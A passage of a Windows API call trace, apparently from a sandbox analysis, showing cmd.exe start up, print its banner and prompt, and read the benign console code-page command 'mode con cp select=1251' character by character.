cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0164.181] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2a3676f5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f5a8*=0x26, lpOverlapped=0x0) returned 1 [0164.181] _vsnwprintf (in: _Buffer=0x7ff75f4f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2a3676f678 | out: _Buffer="\r\n") returned 2 [0164.181] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.181] GetFileType (hFile=0x254) returned 0x3 [0164.181] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0164.182] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2a3676f648, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f648*=0x2, lpOverlapped=0x0) returned 1 [0164.182] _vsnwprintf (in: _Buffer=0x7ff75f4f7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2a3676f678 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0164.182] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.182] GetFileType (hFile=0x254) returned 0x3 [0164.182] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0164.182] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x2a3676f648, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f648*=0x34, lpOverlapped=0x0) returned 1 [0164.182] _vsnwprintf (in: _Buffer=0x7ff75f4f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2a3676f678 | out: _Buffer="\r\n") returned 2 [0164.182] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.182] GetFileType (hFile=0x254) returned 0x3 [0164.182] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0164.182] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2a3676f648, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f648*=0x2, lpOverlapped=0x0) returned 1 [0164.182] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff67790000 [0164.182] GetProcAddress (hModule=0x7fff67790000, lpProcName="CopyFileExW") returned 0x7fff677ae830 [0164.183] GetProcAddress (hModule=0x7fff67790000, lpProcName="IsDebuggerPresent") returned 0x7fff677ae300 [0164.183] GetProcAddress (hModule=0x7fff67790000, lpProcName="SetConsoleInputExeNameW") returned 0x7fff64ca0a40 [0164.183] ??_V@YAXPEAX@Z () returned 0x1 [0164.183] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.183] GetFileType (hFile=0x248) returned 0x3 [0164.183] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0164.184] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2a3676f4b8 | out: TokenHandle=0x2a3676f4b8*=0x0) returned 0xc000007c [0164.184] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2a3676f4b8 | out: TokenHandle=0x2a3676f4b8*=0x94) returned 0x0 [0164.184] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x2a3676f468, TokenInformationLength=0x4, ReturnLength=0x2a3676f470 | out: TokenInformation=0x2a3676f468, ReturnLength=0x2a3676f470) returned 0x0 [0164.185] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x2a3676f470, TokenInformationLength=0x4, ReturnLength=0x2a3676f468 | out: TokenInformation=0x2a3676f470, ReturnLength=0x2a3676f468) returned 0x0 [0164.185] NtClose (Handle=0x94) returned 0x0 [0164.187] _vsnwprintf (in: _Buffer=0x7ff75f4f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2a3676f2f8 | out: _Buffer="\r\n") returned 2 [0164.187] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.187] GetFileType (hFile=0x254) returned 0x3 [0164.187] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0164.187] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2a3676f2c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f2c8*=0x2, lpOverlapped=0x0) returned 1 [0164.187] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0164.187] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20e9dac0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0164.187] malloc (_Size=0x107ce) returned 0x20e9dad0060 [0164.188] _vsnwprintf (in: _Buffer=0x20e9dad0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x2a3676f308 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0164.188] _vsnwprintf (in: _Buffer=0x20e9dad0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x2a3676f308 | out: _Buffer=">") returned 1 [0164.188] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.188] GetFileType (hFile=0x254) returned 0x3 [0164.188] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0164.188] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2a3676f2f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f2f8*=0x14, lpOverlapped=0x0) returned 1 [0164.188] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.188] GetFileType (hFile=0x248) returned 0x3 [0164.188] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.189] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.189] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0164.189] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.189] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.189] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0164.189] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.189] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.189] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0164.189] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.189] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.189] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0164.190] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.190] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.190] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0164.190] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.190] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.190] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0164.190] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.190] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.190] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0164.190] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.190] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.190] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0164.190] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.190] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.191] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0164.191] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.191] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.191] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0164.191] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.191] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.191] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0164.191] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.191] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.191] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0164.191] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.191] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.191] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0164.192] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.192] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.192] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0164.192] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.192] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.192] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0164.192] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.192] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.192] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0164.192] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.192] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.193] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0164.193] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.193] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.193] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0164.193] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.193] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.193] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0164.193] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.193] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.193] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0164.193] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.193] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.193] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0164.194] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.194] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.194] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0164.194] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.194] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.194] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0164.194] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.194] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.194] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0164.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0164.195] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.195] GetFileType (hFile=0x248) returned 0x3 [0164.195] _get_osfhandle (_FileHandle=0) returned 0x248 [0164.195] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.195] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.195] GetFileType (hFile=0x254) returned 0x3 [0164.195] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0164.195] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2a3676f5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f5f8*=0x18, lpOverlapped=0x0) returned 1 [0164.195] GetProcessHeap () returned 0x20e9d8f0000 [0164.195] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x4012) returned 0x20e9d8f8e90 [0164.195] GetProcessHeap () returned 0x20e9d8f0000 [0164.195] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8e90) returned 1 [0164.196] _wcsicmp (_String1="mode", _String2=")") returned 68 [0164.196] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0164.196] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0164.196] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0164.196] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0164.196] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0164.196] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0164.196] GetProcessHeap () returned 0x20e9d8f0000 [0164.196] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb0) returned 0x20e9d8f77c0 [0164.196] GetProcessHeap () 